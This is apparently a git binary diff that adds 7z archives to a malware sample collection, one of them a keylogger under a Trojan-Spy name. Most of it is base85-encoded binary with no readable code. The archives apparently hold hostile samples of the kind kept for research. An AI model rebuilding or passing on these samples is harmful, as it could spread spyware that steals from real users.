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 literal 0 HcmV?d00001 diff --git a/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cuw-9c.7z b/Win32/Malware Families/Generic.Win32.Keylogger/Trojan-Spy.MSIL.KeyLogger.cuw-9c.7z new file mode 100644 index 0000000000000000000000000000000000000000..b6809fbb2d77cb7b6b25a111214da064006b48bf GIT binary patch literal 18037 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 